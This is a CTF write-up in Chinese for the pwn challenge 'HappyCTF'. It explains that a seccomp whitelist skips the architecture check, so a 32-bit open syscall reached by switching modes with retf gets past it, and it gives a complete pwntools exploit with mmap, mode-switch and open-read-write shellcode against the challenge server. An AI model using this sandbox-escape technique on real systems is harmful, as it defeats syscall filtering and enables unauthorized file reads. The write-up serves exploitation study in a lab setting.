nyyyddddn

nssr18_wp

2024/02/14

唉咱好菜,就出了一题

HappyCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public vuln
vuln proc near

buf= byte ptr -110h
var_8= qword ptr -8

; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 110h
lea rax, aNowPlzYouInput ; "Now,plz you input:"
mov rdi, rax ; s
call _puts
lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
mov [rbp+var_8], rax
mov rdx, [rbp+var_8]
mov eax, 0
call rdx
nop
leave
retn
; } // starts at 401355
vuln endp

有一个沙箱,白名单,有read 和 write 但是没有open,搜了一段时间发现,fstat的系统调用号是5,32位下 open的系统调用也是5,沙箱没有对架构做检查

1
2
3
4
5
6
7
8
9
10
11
12
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

用32位的open 配合 64 位的 read write 打orw

切换成32 位的模式要用 retf,retf等价于 pop cs ; pop rip,因为栈地址是不知道的需要迁移一下,所以在切换前用mmap分配一段有rwx的内存,往上面写open retfq(32 to 64) read write的shellcode,然后retf切换模式 同时mov rsp迁移过去。

因为64位下 push是以八字节为单位push的,retf 在 (pop ip;pop cs)的时候是以四字节为单位pop的,所以不能直接push,可以通过 mov [rsp],eax mov [rsp + 4],eax 这种方式 或者 dword ptr来 “push”

retf 用 pwntools中的asm编译不了,可以用nasm编译,objdump -d 去提取字节码

1
2
3
4
5
;;nasm -f elf64 test.asm 
;;ld -m elf_x86_64 -o test test.o
global _start
_start:
retf

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', log_level='debug')
is_debug = 0

IP = "node1.anna.nssctf.cn"
PORT = 28325

elf = context.binary = ELF('./HappyCTF')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

bss = 0x404000


payload = asm('''
mov eax,9
mov edi,0x23000
mov esi,0x1000
mov edx,7
mov r10,0x22
xor r8,r8
xor r9,r9
syscall
''')

payload += asm('''
xor eax,eax
xor edi,edi
mov esi,0x23000
mov edx,0x200
syscall
''')

payload += asm('''
mov rsp,0x23500
mov eax,0x23
mov [rsp + 4],eax
mov rax,0x23008
mov [rsp],eax
''')
payload += b"\xcb"


payload2 = b"flag\x00\x00\x00\x00"
payload2 += asm('''
mov eax,5
mov ebx,0x23000
mov ecx,0
int 0x80
''')

payload2 += asm('''
push 0x33
push 0x23022
retfq
''')
# payload2 += b"\xcb"

payload2 += asm('''
xor eax,eax
mov edi,3
mov esi,0x23000
mov edx,0x40
syscall

mov eax,1
mov edi,1
mov esi,0x23000
mov edx,0x40
syscall
''')



sa("Now,plz you input:\n",payload)

time.sleep(0.4)
# g(p)
s(payload2)
p.interactive()
CATALOG
  1. 1. HappyCTF